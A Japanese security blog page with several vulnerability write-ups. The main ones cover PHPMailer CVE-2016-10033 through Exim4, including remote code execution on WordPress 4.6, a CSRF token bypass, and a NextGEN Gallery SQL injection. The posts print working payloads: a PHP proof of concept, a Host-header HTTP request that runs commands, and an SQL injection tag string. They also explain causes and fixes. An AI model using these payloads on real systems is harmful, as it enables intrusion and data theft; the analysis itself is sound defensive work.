PHPMailerの脆弱性CVE-2016-10033はExim4やWordPress4.6でも影響があった

エグゼクティブサマリ

PHPMailerのリモートコード実行脆弱性CVE-2016-10033は、従来MTAとしてsendmailを用いる場合のみ影響があるとされていた。また、WordPressはPHPMailerをバンドルしているが、CVE-2016-10033によるWordPressに対するリモートコード実行攻撃はできないとされていた。しかし、MTAとしてExim4を用いる場合には、PHPMailer単体およびWordPress 4.6からのリモートコード実行が可能であることがわかったので報告する。

はじめに

昨年末に話題となったPHPMailerのリモートコード実行脆弱性CVE-2016-10033ですが、当初公表されていたPoCがsendmailコマンドの -X オプションを用いたものであったため、-X オプションのないMTA(postfix, qmail, exim4等)は直ちに影響はないだろうと見られていました。
Postfixを使っていて、sendmailコマンドの代わりにPostfixのsendmailコマンドを使っている場合は、Postfixのsendmailコマンドが -X オプションを無視するようですので大きな影響を受けないと思います。ただ、別のオプションで違う脆弱性が発生する可能性もあるので、PHPMailerはアップデートしたほうが良いですね。
PHPMailerのリモートコード実行脆弱性(CVE-2016-10033)の影響範囲 より引用
また、WordPressも内部にPHPMailerをバンドルしているものの、WordPressコアを用いる限りPHPMailerの脆弱性の影響はないと公表されていました。
「WordPress」のコアに存在するファイルにも「PHPMailer」に由来するコードが含まれていることが判明しているが、同問題に対して「WordPress」のセキュリティチーム関係者は、コア部分で提供されている関数「wp_mail()」を利用している限り、今回公開された脆弱性の影響を受けないとコメント。
「PHPMailer」の脆弱性、「WordPress」などでは悪用できずより引用
ところが、実はそうでもなかったことを以下のツイートで知りました。
以下、上記から参照されている記事(2017年5月3日公開)を元に調べた内容を報告します。

Exim のString Expansionによるコード実行

前述のように、従来の攻撃方法(参照)はsendmailの -X オプションを用いることから、sendmail以外のMTAは-Xオプションがなく、攻撃ができないと一般には思われていました。しかし、他の攻撃経路を探し続けている人もいて、新たな攻撃経路が公開されました。それは、Exim4のString Expansionという機能(参照)を用いるものです。元記事には背景等の説明がありますが、いきなり具体例を示しましょう。以下の実行例は、MTAとしてExim4を用いる環境を想定しています。実験には、Ubuntu14.04上のExim4を用いています。
以下は、sendmailコマンド(exim4コマンドにシンボリックリンクされている)の -be オプションを用いて whoami コマンドを実行する例です。
$ sendmail -be '${run{/usr/bin/whoami}}'
ockeghem
以下は、touchコマンドで /tmp/xxxx というファイルを作成する例です。
$ sendmail -be '${run{/usr/bin/touch /tmp/xxxx}}'

PHPMailerからexim4を呼び出す場合のPoC

上記を用いて、PHPMailerの脆弱性を悪用する方法を説明します。従来のPoCとは違って、メールアドレスのコメントを用いる方法が紹介されています。PHPMailerはメールアドレスがRFC5322準拠であることを確認しているので、RFC5322の範囲で攻撃するためにコメントを用いているのです。以下のPoCは、CVE-2016-10033を悪用して ps -f コマンドを実行するものです。
<?php
require("PHPMailer/class.phpmailer.php");
$to = 'ockeghem@example.jp';
$from = 'wordpress@example.jp(aaa -be ${run{/bin/ps${substr{10}{1}{$tod_log}}-f}} )';

$mail = new PHPMailer();
$mail->AddAddress($to);
$mail->setFrom($from, 'wordpress');
$mail->Subject = 'CVE-2016-10033 PoC';
$mail->Body  = '';
if(!$mail->send()) {
  echo 'Mailer Error: ' . $mail->ErrorInfo . "\n";
} else {
  echo "Message has been sent\n";
}
実行結果は以下となります。ps -fが実行されていることが分かります。また、sendmailコマンドの起動パラメータも分かり、興味深いですね。
$ php phpmailer.php
UID        PID  PPID  C STIME TTY          TIME CMD
ockeghem  2159  2158  0 12:29 pts/4    00:00:00 -bash
ockeghem  4513  2159  0 21:12 pts/4    00:00:00 php pm.php
ockeghem  4515  4513  0 21:12 pts/4    00:00:00 /usr/sbin/sendmail -t -i [次行に続く]
-fwordpress@example.jp(aaa -be ${run{/bin/ps${substr{10}{1}{$tod_log}}-f}} )
ockeghem  4517  4515  0 21:12 pts/4    00:00:00 /bin/ps -f

)
Message has been sent
ところで、PoC中の ${substr{10}{1}{$tod_log}} は何でしょうか? これは、実は空白なのです。-be に渡すパラメータ中に空白があるとString Expansionが2つに分かれてしまうため、見かけ上空白を用いないでPoCを書く必要があります。このため、$tod_log (現在日時)と部分文字列機能を利用して空白を作っています。これらの詳細については、String Expansionのドキュメントを参照下さい。

ということで、MTAとしてEximを用いている場合にも、PHPMailerの脆弱性 CVE-2016-10033の影響があるとが分かりました。

WordPress 4.6からのリモートコード実行PoC

それでは、いよいよWordPress 4.6からのリモートコード実行の説明をしましょう。攻撃には、パスワードリセットの機能を悪用します。以下は、WordPress 4.6 の wp-includes/pluggable.php からの引用です。
if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }
        $from_email = 'wordpress@' . $sitename;
}
$from_email がセットされていない場合、環境変数 SERVER_NAME からHostヘッダを参照して、Fromメールアドレスのドメインパートとしています(ローカルパートは wordpress 固定)。この際にホスト名を小文字に変換していることから、従来のPoC(大文字の -Xオプションを用いる)は使用できません。
PHPMailerのCVE-2016-10033脆弱性を悪用するには、Fromヘッダではなく、エンベロープFromをセットする必要がありますが、それは同じファイルの下記で行われます。
$phpmailer->setFrom( $from_email, $from_name );
PHPMailerのsetFromメソッドには、省略可能な第3引数 $auto (デフォルト値は true)があり、trueの場合 FromヘッダとともにエンベロープFromにも $from_email の値をセットします(PHPMailerのリファレンス)。かくして、ホストヘッダ経由で攻撃文字列をエンベロープFromにセットすることができます。
ここで、「ホストヘッダに空白や括弧などが入るのか? ホスト名に用いることのできる文字は厳しく制限されているはずだが?」という疑問を持たれた方も多いと思いますが、現実のApacheの実装ではスラッシュ「/」以外の記号を含む多くの文字を渡すことができます。スラッシュが使えないと攻撃が不自由ですが、空白を作ったのと同様の方法で、下記によりスラッシュを作ることができます。
$ sendmail -be '${substr{0}{1}{$spool_directory}}'
/
ここまで準備をすると、WordPress 4.6への攻撃ができます。以下は、/tmp/testを作成(touch)するPoCです。攻撃文字列は Host ヘッダに入っています。
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

WordPress 4.6以外のバージョンではどうか?

WordPress 4.6とEximが動いている環境ではリモートコード実行ができてしまうというのは衝撃的な内容ですが、それでは他のバージョンは大丈夫でしょうか? 元のドキュメントでは以下のように「対策された4.7.1までのバージョンは影響あるかも」と書いていますが、私の調べた範囲では 4.6 以外では影響はないようです。
The Remote Code Execution PoC exploit described in this advisory is based on version 4.6 although other versions of WordPress (prior to 4.7.1 which fixed the PHPMailer vulnerability) might also be affected.
その理由は、$from_email がエンベロープFromに渡るバージョンが 4.6 だけだからです。
4.5.xまでのWordPressは以下のようになっており、エンベロープFromに値はセットされません。
$phpmailer->From = apply_filters( 'wp_mail_from', $from_email );
$phpmailer->FromName = apply_filters( 'wp_mail_from_name', $from_name );
4.6.1以降では、以下のようにsetFromメソッドの第3引数に false が明示されるようになりました。従って 4.6.1以降でもエンベロープFromに値はセットされません。
$phpmailer->setFrom( $from_email, $from_name, false );
上記から、WordPress 4.6以外(4.5.x以前、4.6.1以降)では、上記攻撃の影響はないと考えられます。試みにいくつかのバージョン(4.5 / 4.5.3 / 4.6.1 / 4.6.2 / 4.7 / 4.7.1)で試してみましたが、4.6以外では再現しないことを確認しています。

対策

WordPress、PHPMailerのどちらにも言えることですが、ソフトウェアを最新版にバージョンアップすることで対策になります。
HOSTヘッダ経由での攻撃全般に効果のある保険的対策として、「デフォルトのバーチャルホストをダミーとして、本番のバーチャルホストは2番目以降に設定する」方法をお勧めします(参照)。この方法は元々DNSリバインディング対策として拙著で紹介していたものですが、IPアドレスでのサイト閲覧による攻撃(無差別的な攻撃に多い)や、今回紹介したようなHostヘッダに攻撃文字列を入れるタイプの攻撃を無効化します。

まとめ

MTAとしてExim4を用いている場合に、PHPMailerの脆弱性CVE-2016-10033の影響があり、WordPress 4.6を用いている環境でもリモートコード実行ができることを紹介しました。当初、これらは当該脆弱性の影響はないと見られていたものですが、「実は影響があった」ことになります。
このようなケースもままあることですので、トリアージ(脆弱性の緊急度判断)の結果「影響なし」と判断された場合でも、あまり遅くならないタイミングでライブラリやプラットフォームのバージョンアップをしておくことをお勧めします。
Exim4と言えば、DebianのデフォルトMTAですので、特にDebianユーザが影響を受ける可能性が高いと考えられます。といっても、CVE-2016-10033が発表されてから既に4ヶ月以上経過しているので、既にバージョンアップ済みであることを祈りたい気分です。

参考文献



HASHコンサルティング広告

HASHコンサルティング株式会社では、脆弱性の原理に根ざした効果的で効率的なセキュリティ施策をご案内しています。詳しくは以下のページから参照下さい。

サービス案内 | HASHコンサルティング株式会社

2017年4月11日火曜日

teratailに投稿されたメールフォームにCSRF脆弱性が残存した理由

teratailに以下のような投稿がありました。
PHPでメールフォームを作成したので、脆弱性がないかアドバイスいただけないでしょうか。
エンジニアでもなければ、PHPもろくに書けない雑魚ですが、「php メールフォーム 作り方」でググって表示されるサイトを見ると、「んんんんん???」と思うところがあります。
これらを参考にしたり、コピペする方は、記述されているコードの良し悪しは判断できないかと思います。
そのような方々が参考にできるメールフォームを作りたいという思いで、調べて作りました。
周りに書いたコードを確認してもらえる人もいないので、皆様からのアドバイスがほしいです((_ _ (´ω` )ペコ

【PHP】作成したメールフォームに脆弱性がないか、アドバイスもらえないでしょうかより引用
どれどれ…と確認すると、トークンのチェックが入っているにも関わらずクロスサイト・リクエストフォージェリ(CSRF)脆弱性が残存しています。このため、PoC(Proof of Concept)を回答し、CSRF脆弱性があることを指摘しましたが、質問者の学習機会を奪わないためにわざと解説は省きました。本稿では、この脆弱性のメカニズムについて報告します。

処理概要

このメールフォームは、元記事に以下のように書かれているように、典型的な入力・確認・送信の3ステップからなります。
入力(index.php) → 確認(confirm.php) → 送信(send.php) と画面を遷移してメールを送ります。
以下、各ステップの処理概要を示します。

入力(index.php)
  • セッションを開始し、トークンを$_SESSION['token']に格納する
  • 入力フォームを表示する
  • hiddenパラメータtokenにてトークンをPOSTする

確認(confirm.php)
  • トークン$_SESSION['token'] がNULLの場合、空文字列に置き換える
  • POSTされたトークンが$_SESSION['token']に一致しなければエラー表示
  • 入力値をバリデーションし、エラーがなければセッション変数にセットする
  • hiddenパラメータtokenにてトークンをPOSTする

送信(send.php)
  • トークン$_SESSION['token'] がNULLの場合、空文字列に置き換える
  • POSTされたトークンが$_SESSION['token']に一致しなければエラー表示
  • メールアドレスや問い合わせ内容等をセッション変数から取り出す
  • 問い合わせをしたユーザと管理者にメール送信

続いて、CSRF攻撃について検討します。

脅威1: いきなり send.php に外部からPOSTされる

まずは、いきなり送信ページ(send.php)に対してPOSTする場合を考えましょう。この場合、セッション変数は初期化されていないわけですから、$_SESSION['token]はNULLという扱いになりますが、前述のように、この場合$_SESSION['token']は空文字列が入ります。したがって、POSTするトークンとして空文字列を送ってやれば、CSRF対策を回避できます。
しかしながら、問い合わせしたユーザのメールアドレスや問い合わせ内容はセッション変数経由で受け渡しをしているため、いずれもNULLとなります。このためメールも送信されない…わけではなく、管理者向けに内容が空(テンプレートのみ)のメールが送信されます。すごい実害があるわけではありませんが、嫌がらせ程度には使えるかもしれません。
ともあれ、空文字列のトークンでCSRF対策が回避できることは、大きな問題です。

脅威2: confirm.php、send.php に続けてPOSTされる

次の攻撃パターンは、まずconfirm.phpに外部からPOSTし、少し時間をおいてsend.phpにPOSTする攻撃です。
この場合もセッション変数は初期化されていないので、$_SESSION['token]はNULLという扱いになり、send.phpと同じ流れで $_SESSION['token']は空文字列が入ります。したがって、POSTするトークンとして空文字列を送ってやれば、CSRF対策を回避できます。
加えて、問い合わせ内容を攻撃の趣旨に合わせてPOSTすれば、バリデーションを経てセッション変数にセットされます。
後は、脅威1と同じようにsend.phpをPOSTすることで、上記でセットした問い合わせ内容が、被害者のブラウザから送信されることになります。
私のPoCでは、被害者のブラウザから「犯行予告」を問い合わせとして送るようにしましたが、他の悪用もあり得るでしょう。

NULLのトークンを空文字列にしなければ問題ないのか?

confirm.phpとsend.phpではセッション変数のトークンがNULLの場合、空文字列に置き換えています。典型的な「余計なお世話」ですが、これがなければ脆弱とはならないでしょうか。
そうではありません。セッション変数のトークンがNULLなのであれば、POSTするトークン側もNULLにすれば、NULL === NULL でCSRF対策をすり抜けます。具体的には、POSTパラメータtokenを送らないことにより実現可能です。
せっかくトークンのNULLチェックをしていて、トークンがNULLということは正常な遷移ではないわけですから、この時点でエラーとして処理を終了すればCSRF脆弱性は防げました。

対策

前述のように、$_SESSION['token'] のバリデーションでセッション変数のトークンが空でないことを確認すれば脆弱性は防げますが、お勧めしたいのは、以下のステップでもトークンが空でないことを確認することです。
  • POSTされたトークンが$_SESSION['token']に一致しなければエラー表示
すなわち、上記のルールを以下のように拡張します。
  • POSTされたトークンが空であるか、または$_SESSION['token']に一致しなければエラー表示
トークンが空かどうかのチェックにはPHPのempty()を使うと良いでしょう。empty()は、NULLでも空文字列でもTRUEを返すので、これら両方をエラーにすることができます。
加えて、PHP 5.6以降を使っている場合は、トークンの比較には === ではなく、hash_equalsを使うとよいでしょう。hash_equalsはタイミング攻撃を防ぐことが元々の目的ですが、引数がともにNULLの場合には FALSE を返すので、トークンがNULLなのにトークンチェックをすり抜けることが防げます。
まとめると以下のようになります。
  • トークンのチェックの際には、トークンが空でないことを確認する
  • 可能であれば hash_equalsによりトークンを比較する
バリデーションでトークンが空でないことを確認すればいいではないかと思う人もいると思いますが、脆弱性の対策は局所的に行うことが重要なのです。そうすることで、脆弱性がないことが一目で確認でき、脆弱性が入りにくくなり、後から「脆弱性がないことを確認する」際にも時間を節約することができます。

まとめ

teratailに投稿された問い合わせフォームを題材として、CSRF対策の漏れやすいポイントを紹介しました。脆弱性診断の実務でも、トークンを空文字列にするとか、トークン自体を削除することでCSRF対策がすり抜けてしまうことはままあります。局所的にトークンが空でないことを確認することにより、このような対策漏れを防ぐことが可能です。

2017年4月10日月曜日

話題のワールドプレス、BurpSuiteでもできるよ

BurpSuite っていうのを使うとWordPressも簡単にワールドプレスにできるよ。

まずは、WordPressをリバースプロキシとして設定します。BurpSuiteを起動して、Proxyタブ - Optionsタブを選択し、Edit Proxy Listnersから下記の画面を表示し、


Bind to portを80として、Bind to addressを All interfaceを選択します。次に、Request handlingタブを選択し、


Support invisible proxyingを選択します。
これで、BurpSuiteをリバースプロキシとして使うことができます。

次に必要に応じてProject optionsタブからConnectionsタブを選択し、Add hostnmae resolution ruleからWordPressホストのホスト名に対するIPアドレスを追加します。


次に、Proxyタブ - Optionsタブを選択し、Match and ReplaceにてWordPressを「ワールドプレス」に変換する…のですが、お約束の文字化けが起こるので、文字数値参照で「&#x30EF;&#x30FC;&#x30EB;&#x30C9;&#x30D7;&#x30EC;&#x30B9;」に変換します。


ここまでできたら、BurpSuiteが稼働しているホストのIPアドレスにアクセスすればおk。


ワールドプレスだって簡単に実現できるです。そう、BurpSuiteならね!

参考文献

ワールドプレスっていうブログを運営するための最強ツール
ワールドプレスっていうブログ運営最強ツールを知ってる?? - 楽しいことを全力に!

2017年3月23日木曜日

SQLiteのクォートにまつわる奇妙な仕様

SQLiteでは、ISO SQL標準同様に、文字列リテラルはシングルクォートで囲み、識別子をクォートする場合は、ダブルクォートで囲むことになっています。

'foo' : 文字列リテラル
"foo" : 識別子(テーブル名、列名等)

しかし、マニュアルによると、SQLiteのクォーティングには例外があります。それを実例で紹介しましょぅ。まずは、実験の準備として、列 a だけを持つテーブル a を作成します。
$ sqlite3 test.db
sqlite> CREATE TABLE a(a integer);
sqlite> INSERT INTO a VALUES(1);
sqlite> SELECT * FROM a;
1
sqlite>
続いて、以下を実行します。実行結果はどうなるでしょうか?
sqlite> SELECT 'a', "a", [a], `a`, "aa" FROM 'a'
これ、FROM 'a' のところが文法違反に見えますよね。FROMの後には表の名前が続くはずです。また、"aa" は列名だとするとそのような列は存在しないので、こちらもエラーになるはずです。
しかし、SQLiteの場合、上記SQL文はエラーにならず、以下の結果となります。
sqlite> SELECT 'a', "a", [a], `a`, "aa" FROM 'a';
a|1|1|1|aa
sqlite>
これはどういうことでしょうか?その答えは、SQLiteのマニュアルにあります。
For resilience when confronted with historical SQL statements, SQLite will sometimes bend the quoting rules above:
  • If a keyword in single quotes (ex: 'key' or 'glob') is used in a context where an identifier is allowed but where a string literal is not allowed, then the token is understood to be an identifier instead of a string literal.
  • If a keyword in double quotes (ex: "key" or "glob") is used in a context where it cannot be resolved to an identifier but where a string literal is allowed, then the token is understood to be a string literal instead of an identifier.
SQLite Query Language: SQLite Keywords より引用
すなわち、シングルクォートで囲まれたキーワードが、文字列リテラルが許可されていない箇所に置かれている場合、識別子として認識されます。上記の FROM 'a' の 'a' がこれに該当します。
また、ダブルクォートで囲まれたキーワードであるのに、該当する列名等がない場合、文字列リテラルとして認識されます。上記の "aa" がこれに該当します。
SQLite はなんてすごいんだ! 僕達の気持ちをここまでくんでくれるなんて!!
というのはもちろん冗談で、こんなのは余計なお世話としか言いようがありません。開発者が間違った場合でもエラーにならず、見つけにくいバグの原因になりそうです。

ちなみに、SQLiteは、識別子を [] で囲む方式(MS SQL風)や、バッククォートで囲む方式(MySQL風)もサポートしていますが、これらの場合は、自動的に文字列リテラルとして認識されることはないようです。だったらこれらを使えば…という意見もありそうですが、ISO標準にはない書き方なので、移植性がそこなわれますよね。
ということで、SQLiteを使う場合、もしクォートする必要がなければ、識別子はクォートしない方が無難なのではないでしょうか? そうすれば、勝手に文字列リテラルとして認識されることもないし、移植性も損なわれません。

なお、この問題に起因するセキュリティ上の問題はないか考えてみましたが、思いつきませんでした。思いついた方があれば、ぜひ教えてください。

追記(20:35)

この問題が原因で脆弱性となる例を考えましたので紹介します。
ログイン処理で、「ログイン状態を保存」をトークンを用いて実装していたとします。SQL文は下記となります(SQLインジェクション対策はされていると想定)。
SELECT * FROM users WHERE "token" = $token
クッキーなどにセットされたトークンが、列 token に一致するものがあれば、そのユーザで自動ログインするという想定です。
しかし、列 token のつづりを以下のように間違えていたとします。
SELECT * FROM users WHERE "tokem" = $token
すると、通常はランダム文字列であるトークンとして、固定の文字列 'tokem' を指定するとログインできてしまうことになります。"tokem"という列が存在しないため、WHERE句は 'tokem' = $token と等価だからです。

し・か・し・な・が・ら、この例では正常系がまともに動かないため、テストさえしていれば、この脆弱性が入ったままリリースされることはないでしょう…ということで、あまり現実的ではない…しかし、絶対にないとも言い切れない…脆弱性の例でした。

2017年3月5日日曜日

WordPressのプラグインNextGEN GalleryのSQLインジェクション脆弱性について検証した

エグゼクティブサマリ

WordPressのプラグインNextGEN Gallery for WordPress 2.1.79未満にはSQLインジェクション脆弱性があり、早急なバージョンアップを推奨する。当該脆弱性は潜在的にWordPressの内部メソッドwpdb::prepareの仕様上の問題が原因であり、他のプラグインにも類似脆弱性の残存の可能性がある。このため、この問題の影響を受けない安全な実装方針を示した。

はじめに

Sucuriブログに、NextGEN Gallery for WordPressのSQLインジェクション脆弱性が報告されました。脆弱性のサマリは下記となります。
対象バージョンNextGEN Gallery for WordPress 2.1.79未満
影響SQLインジェクションによる情報漏えいなど
攻撃の認証要否不要
攻撃の難しさ困難
対策プラグインのアップデート (2.1.79にて修正)


脆弱なコードと検証

脆弱性はMixin_Displayed_Gallery_Queriesクラスのget_term_ids_for_tagsメソッドにあります。当該メソッドを下記に引用します。このメソッドは、タグを$tags配列として受け取り、タグ検索のSQL文を実行します。タグ検索のSQL文のIN句は、下記の※1(赤字)にて生成しています。エスケープなどがなされていないので心配になりますが、タグ中の引用符はHTMLエスケープ(SQLエスケープではない)され、バックスラッシュはフィルタリングで除去されるので、これら記号文字によるSQLインジェクション攻撃はできません。

function get_term_ids_for_tags($tags = FALSE)
{
    global $wpdb;
    // If no tags were provided, get them from the container_ids
    if (!$tags || !is_array($tags)) {
        $tags = $this->object->container_ids;
    }
    // Convert container ids to a string suitable for WHERE IN
    $container_ids = array();
    if (is_array($tags) && !in_array('all', array_map('strtolower', $tags))) {
        foreach ($tags as $ndx => $container) {   // ※1 タグ検索の IN 句の生成
            $container_ids[] = "'{$container}'";
        }
        $container_ids = implode(',', $container_ids);
    }
    // Construct query
    $query = "SELECT {$wpdb->term_taxonomy}.term_id FROM {$wpdb->term_taxonomy}\n
                  INNER JOIN {$wpdb->terms} ON {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id\n
                  WHERE {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id\n
                  AND {$wpdb->term_taxonomy}.taxonomy = %s";
    if (!empty($container_ids)) {
        $query .= " AND ({$wpdb->terms}.slug IN ({$container_ids}) OR {$wpdb->terms}.name IN ({$container_ids}))";
    }
    $query .= " ORDER BY {$wpdb->terms}.term_id";
    $query = $wpdb->prepare($query, 'ngg_tag');   // ※2
    // Get all term_ids for each image tag slug
    $term_ids = array();
    $results = $wpdb->get_results($query);
    if (is_array($results) && !empty($results)) {
        foreach ($results as $row) {
            $term_ids[] = $row->term_id;
        }
    }
    return $term_ids;
}

脆弱性の原因

WordPressのプラグインは、一般にWordPressがフレームワークとして提供するwpdbクラスのprepareメソッドを利用してSQL文を実行します。wpdb::prepareは、プレースホルダとしてsprintfに似た %s や %d を用いる独特の構文になっています。
では、タグとして%sを指定したら、何かおかしなことができるのではないでしょうか。やってみましょう。以下は、タグとして aaa%s を指定した場合に生成されるSQL文です。

$query string SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
                  INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
                  WHERE wp_term_taxonomy.term_id = wp_terms.term_id
                  AND wp_term_taxonomy.taxonomy = %s 
                  AND (wp_terms.slug IN ('aaa%s') OR wp_terms.name IN ('aaa%s')) ORDER BY wp_terms.term_id

しかし、これは実行時にエラーになります。prepareメソッドからPHPのvsprintf関数が呼び出される際に、%sが3個(上記赤字)あるのに、それに対する値が一つ('ngg_tag')しかないためです。
外部からのパラメータ指定で、SQL文生成のエラーになるという時点で、この箇所にバグがあることになります。何か攻撃の糸口はなんでしょうか。

実は、上記に関連して、以下の記事を書いたことがあります。

書式文字列によるSQLインジェクション攻撃例

上記の記事の中で、%s書式が余計に出てくるためにエラーになる状況について言及しており、そのエラー回避のテクニックについて、以下のように書いています。
 実はこのエラーを回避する方法があります。%sの代わりに、%1$sを指定するのです。これは、書式文字列上の位置に関わらず1番目のパラメータを受けるという意味です。
ということで、aaa%sの代わりに、aaa%1$s を指定してみましょう。今度はバインドまで行われ、生成されるSQL文は下記となります。

$query string SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
                  INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
                  WHERE wp_term_taxonomy.term_id = wp_terms.term_id
                  AND wp_term_taxonomy.taxonomy = 'ngg_tag'
                  AND (wp_terms.slug IN ('aaangg_tag') OR wp_terms.name IN ('aaangg_tag')) ORDER BY wp_terms.term_id

エラーにはならない代わりに、とりたてて攻撃もできなさそうなSQL文ができてしまいました。 それでは、次に、%1$%s を指定してみます。バインド前のSQL文は下記となります。

$query string SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
                  INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
                  WHERE wp_term_taxonomy.term_id = wp_terms.term_id
                  AND wp_term_taxonomy.taxonomy = %s
                  AND (wp_terms.slug IN ('aaa%1$%s') OR wp_terms.name IN ('aaa%1$%s'))

これがwpdb::prepareメソッドの中で、%sをシングルクォートで囲む処理が加わります。これは、SQL文の文字列リテラルはシングルクォートで囲むルールに対応するためです。この結果、SQL文は以下のように変形されます。最後の行のみを示します。

AND wp_term_taxonomy.taxonomy = '%s' AND (wp_terms.slug IN ('aaa%1$'%s'') OR wp_terms.name IN ('aaa%1$'%s''))

これがPHPのvsprintf関数で処理されるのですが、ここで上記の %1$'%s (上記赤字)に注目します。実は、これ全体で、vsprintfの書式になっています。1$は1番目のパラメータに対応するという意味、'%はパディングに%を用いるという意味です。ただし、桁指定子がないため、実際にはパティングの指定があっても何もしません。
この結果、バインド結果は下記になります。

AND wp_term_taxonomy.taxonomy = 'aaangg_tag' AND (wp_terms.slug IN ('aaangg_tag'') OR wp_terms.name IN ('aaangg_tag''))

なんということでしょう! シングルクォートの一つがパティング指定と解釈されたため、シングルクォートの対応が狂っています。SQLインジェクション攻撃ができそうな雰囲気が漂い始めました。
それでは、いようよ攻撃です。タグとして以下の文字列を指定します。

aaa%1$%s)) or 1=1#

生成されるSQL文(バインド前)は下記となります。

AND wp_term_taxonomy.taxonomy = %s AND (wp_terms.slug IN ('aaa%1$%s)) or 1=1#') OR wp_terms.name IN ('aaa%1$%s)) or 1=1#')) 

wpdbクラスのprepareメソッドにより%sが'%s'とクォートされた結果

AND wp_term_taxonomy.taxonomy = '%s' AND (wp_terms.slug IN ('aaa%1$'%s')) or 1=1#') OR wp_terms.name IN ('aaa%1$'%s')) or 1=1#'))

そして、バインド後は下記のとおりです。

AND wp_term_taxonomy.taxonomy = 'ngg_tag' AND (wp_terms.slug IN ('aaangg_tag')) or 1=1#') OR wp_terms.name IN ('aaangg_tag')) or 1=1#')) ORDER BY wp_terms.term_id 

赤字で示した部分が文字列リテラルをはみだし、SQL文の一部として解釈されています。SQLインジェクション攻撃の成功です。

脆弱性は誰のせい?

この問題は、NextGEN Gallery の脆弱性して報告されていますが、私は、wpdbクラスの仕様に問題があるように感じました。
一般に、プレースホルダの実装では、SQL文を構成する文字列リテラル中に「たまたま」プレースホルダ記号(? や :foo など)があってもプレースホルダとは解釈せず、文字列リテラルの一部であると解釈します。たとえば、PDOでは、下記の :user はプレースホルダとは解釈されません。

$db->prepare("SELECT * FROM employee WHERE user=':user'");

ところが、wpdbは、下記の %s がプレースホルダと解釈されることになります。

$wpdb->prepare("SELECT * FROM employee WHERE user='user%s'");

上記の場合、バインド値が'tanaka'の場合WHERE句は、WHERE user='user'tanaka'' となり、「tanaka」が文字列リテラルを「はみだす」危なっかしい状態になります。しかし、下記ではそのような現象は起こりません。

$wpdb->prepare("SELECT * FROM employee WHERE user='%s'");

こうなる理由は、wpdb::prepareメソッドの内部で以下の置換処理が行われているからです。

$query = str_replace( "'%s'", '%s', $query ); // 間違ってプレースホルダをクォートしている場合に対処
$query = str_replace( '"%s"', '%s', $query ); // 同上(ダブルクォートの場合)
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // ロケールの影響を避けるため浮動小数点数をクォートする
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // 文字列のプレースホルダをクォートするが、%%sはクォートしない

このあたり、いかにもアドホックで間違いが入りやすい状態と考えます。wpdb::prepareはSQL文をパースしていないわけで、同種の問題が他のプラグイン等にも潜在的に残っている可能性が高いと予想します。

対策

プラグイン利用者側の対策は、当該プラグイン(NextGEN Gallery for WordPress)を最新版(2.1.79以降) にバージョンアップすることです。
NextGEN Gallery for WordPress 2.1.79内部での対応は、tag指定された文字列中の % を %% と二重にすることで対策しています。これは書式文字列攻撃としての対策で、局所的には妥当なものと考えます。

いったんまとめ

Sucuriが発見した攻撃手法は極めて巧妙です。外部からはシングルクォートがフィルタリングされてSQL文内に指定できないところ、wpdb::prepareが%sの前後に挿入するシングルクォートを攻撃に使っています。しかも、挿入される2つのシングルクォートのうち一つを、vsprintfの書式(パディング指定)として解釈させることにより取り除いている点が巧妙です。
前述のように、この脆弱性は、WordPressの内部メソッドwpdb::prepareの潜在的な問題をNextGEN Galleryプラグインが踏み抜いてしまったものと考えます。

wpdb::prepareはどのように使えばよいか?

前述のように、この問題はwpdb::prepareメソッドの仕様(あるいは実装)がイケテナイ点が潜在的な原因になっていますが、WordPressのプラグイン等を使う場合は、このメソッドを使わないわけにはいきません。では、プラグイン開発者はどのようにwpdb::prepareメソッドを使えばよいでしょうか?
その答えは、「SQL文中に外部由来の値を混ぜない」という原則を徹底することです。
そんなこと言っても、IN句の中身は可変数なのでどうすればいいのという疑問が出てきますが、Drupalが採用している方法が参考になります。
Drupalでは、IN句の中身を生成する際に、可変個のプレースホルダを内部的に生成しています。それを真似ると、今回のケースでは、以下のようなSQL文を生成すればよかったことになります。
BEFORE : wp_terms.slug IN ('foo', 'bar', 'baz')
AFTER : wp_terms.slug IN (%s, %s, %s)
これに伴って、バインド値も調整することになります。このような実装にすることにより、SQL文中に外部からプレースホルダを指定させられる攻撃(一種の書式文字列攻撃)の防止を含め、SQLインジェクション脆弱性がないことを明確にできます。

まとめ

WordPressのプラグインNextGEN Galleryに対する巧妙なSQLインジェクション攻撃について説明しました。この問題の原因は、wpdb::prepareメソッドの潜在的なイケテナサが原因で、かつNextGEN Galleryの実装に外部から%が指定される場合の考慮漏れにあります。NextGEN Galleryの実装方針にも改善の余地があります。
前述のように、wpdb::prepareメソッドの潜在的な問題が原因ですので、他のWordPressプラグインにも同種の問題が残っている可能性があります。今後、可能な範囲で調査してみたいところです。

2017年2月6日月曜日

WordPress 4.7.1 の権限昇格脆弱性について検証した

エグゼクティブサマリ

WordPress 4.7と4.7.1のREST APIに、認証を回避してコンテンツを書き換えられる脆弱性が存在する。攻撃は極めて容易で、その影響は任意コンテンツの書き換えであるため、重大な結果を及ぼす。対策はWordPressの最新版にバージョンアップすることである。 本稿では、脆弱性混入の原因について報告する。

はじめに

WordPress本体に久しぶりに重大な脆弱性が見つかったと発表されました。
